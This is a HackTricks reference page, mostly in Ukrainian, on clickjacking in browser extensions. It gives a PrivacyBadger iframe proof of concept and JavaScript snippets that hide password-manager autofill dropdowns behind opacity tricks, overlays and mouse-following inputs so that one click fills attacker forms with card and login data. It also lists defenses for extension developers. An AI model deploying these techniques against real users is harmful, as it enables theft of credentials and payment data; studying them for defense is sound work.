BrowExt - ClickJacking

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Ця сторінка покаже, як зловживати вразливістю ClickJacking у розширенні браузера.
Якщо ви не знаєте, що таке ClickJacking, перегляньте:

Clickjacking

Розширення містять файл manifest.json, і цей JSON-файл має поле web_accessible_resources. Ось що кажуть the Chrome docs:

These resources would then be available in a webpage via the URL chrome-extension://[PACKAGE ID]/[PATH], which can be generated with the extension.getURL method. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.1

Ресурси в web_accessible_resources розширення браузера доступні не лише через веб; вони також працюють з привілеями самого розширення. Це означає, що вони можуть:

  • Змінювати стан розширення
  • Завантажувати додаткові ресурси
  • Взаємодіяти з браузером в певній мірі

Однак ця можливість створює загрозу безпеці. Якщо ресурс у web_accessible_resources має якусь суттєву функціональність, атакуючий потенційно може вбудувати цей ресурс у зовнішню веб-сторінку. Нічого не підозрюючі користувачі, які відвідають таку сторінку, можуть випадково активувати вбудований ресурс. Така активація може призвести до небажаних наслідків залежно від дозволів і можливостей ресурсів розширення.

Приклад PrivacyBadger

У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що директорія skin/ була оголошена в web_accessible_resources наступним чином (Перегляньте оригінальний blog post):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

Ця конфігурація призвела до потенційної проблеми безпеки. Зокрема файл skin/popup.html, який відображається при взаємодії з іконкою PrivacyBadger у браузері, міг бути вбудований у iframe. Це вбудування можна використати, щоб обманом змусити користувачів випадково натиснути "Disable PrivacyBadger for this Website". Така дія підривала б конфіденційність користувача, вимикаючи захист PrivacyBadger і потенційно піддаючи його більшому стеженню. Візуальну демонстрацію цього експлойту можна переглянути у ClickJacking відеоприкладі за адресою https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Щоб усунути цю вразливість, було реалізовано просте рішення: видалення /skin/* зі списку web_accessible_resources. Це зміна ефективно знизила ризик, гарантувавши, що вміст директорії skin/ не може бути доступний або маніпульований через web_accessible_resources.

Виправлення було простим: видалити /skin/* зі списку web_accessible_resources.

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Example

Детальніше див. blog post about a ClickJacking in metamask can be found here. У цьому випадку Metamask виправили вразливість, перевіряючи, що протокол, через який до них звертаються, був https: або http: (наприклад, не chrome:):

Another ClickJacking fixed у розширенні Metamask полягав у тому, що користувачі могли Click to whitelist, коли сторінка підозрювалася у phishing через “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Оскільки та сторінка була вразлива до Clickjacking, атакуючий міг зловживати нею, показуючи щось звичне, щоб жертва натиснула для додавання у whitelist, не помітивши цього, а потім повертатися до phishing-сторінки, яка вже буде в whitelist.

Steam Inventory Helper Example

Перевірте наведену сторінку, щоб дізнатися, як XSS у browser extension був поєднаний із вразливістю ClickJacking:

BrowExt - XSS Example


DOM-based Extension Clickjacking (Password Manager Autofill UIs)

Класичний extension clickjacking зловживає неправильно налаштованими web_accessible_resources, щоб вставити в iframe привілейований HTML і спрямувати кліки користувача. Новіший клас — DOM-based extension clickjacking — націлений безпосередньо на dropdown-и автозаповнення, які password managers інжектять у DOM сторінки, і використовує CSS/DOM-трюки, щоб приховати або затемнити їх, залишаючи при цьому можливість взаємодії. Один змушений клік може вибрати збережений елемент і заповнити керовані атакуючим поля чутливими даними.

Threat model

  • Атакуючий контролює webpage (або досягає XSS/subdomain takeover/cache poisoning на пов’язаному домені).
  • Жертва має встановлене і розблоковане password manager extension (деякі здійснюють автозаповнення навіть коли номінально заблоковані).
  • Індуковано принаймні один клік користувача (накладені cookie banners, діалоги, CAPTCHAs, ігри тощо).

Attack flow (manual autofill)

  1. Інжектувати невидиму, але фокусовану форму (login/PII/credit-card поля).
  2. Зфокусувати інпут, щоб викликати extension’s autofill dropdown поруч із полем.
  3. Сховати або затемнити extension UI, залишивши його інтерактивним.
  4. Вирівняти правдоподібний контрол під прихованим dropdown, щоб змусити клік, який вибере елемент.
  5. Зчитати заповнені значення з форми атакуючого і ексфільтрувати.

How to hide the autofill UI

  • Extension element
  • Root element opacity (generic):
js
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
  • Дочірній елемент всередині відкритого ShadowRoot (динамічний тег, приховати внутрішній iframe):
js
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
  • Батьківський елемент
  • BODY/HTML opacity tricks щоб зробити інтерфейс розширення невидимим, поки сторінка виглядає нормально (наприклад, фон для скріншоту):
js
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
  • Overlay
  • Partial overlay: закрийте все, окрім кількох пікселів, щоб dropdown залишався клікабельним (переконайтеся, що attacker overlay є останнім у DOM з max z-index, або використайте Top Layer).
  • Full overlay using pointer-events:none so clicks pass through to the hidden dropdown; keep it persistent with the Popover API:
html
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>

Позиціонування кліку жертви

  • Fixed placement: розмістіть прихований dropdown під правдоподібним елементом керування, таким як “Accept cookies”, “Close” або прапорець CAPTCHA.
  • Follow-mouse: переміщуйте сфокусований input під курсор так, щоб dropdown слідував за ним; періодично знову встановлюйте фокус, щоб один клік в будь-якому місці вибирав елемент:
js
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})

Наслідки та сценарії

  • Сайт під контролем зловмисника: один примусовий клік може ексфільтрувати дані кредитної картки (номер/термін/ CVC) та персональні дані (ім'я, email, телефон, адреса, дата народження (DOB)), які не обмежені доменом.
  • Довірений сайт з XSS/subdomain takeover/cache poisoning: крадіжка облікових даних при кількох кліках (username/password) та TOTP, оскільки багато менеджерів паролів автоматично заповнюють поля на пов'язаних субдоменах/батьківських доменах (наприклад, *.example.com).
  • Passkeys: якщо RP не прив'язує WebAuthn challenges до сесії, XSS може перехопити підписане твердження; DOM-based clickjacking приховує підказку passkey, щоб спонукати користувача підтвердити кліком.

Обмеження

  • Потребує принаймні одного кліка користувача та достатнього вирівнювання пікселів (реалістичні оверлеї полегшують виманювання кліків).
  • Автоблокування/вихід скорочують вікно експлуатації; деякі менеджери все ще автоматично заповнюють поля, коли вони «заблоковані».

Заходи захисту для розробників розширень

  • Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
  • Стійкість до маніпуляцій CSS: віддавати перевагу Closed Shadow DOM та моніторити за допомогою MutationObserver підозрілі зміни стилів у коренях UI.
  • Виявляти ворожі оверлеї перед заповненням: перелічити інші top-layer/popover елементи, тимчасово вимкнути pointer-events:none і використовувати elementsFromPoint() для виявлення перекриття; закривати UI, якщо оверлеї присутні.
  • Виявляти підозрілі зміни opacity або стилів у <body>/<html> як до, так і після рендерингу.
  • Для проблем на основі iframe: звужуйте область дії MV3 web_accessible_resources matches і уникайте експонування HTML UI; для неминучого HTML віддавайте заголовок X-Frame-Options: DENY або Content-Security-Policy: frame-ancestors 'none'.

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks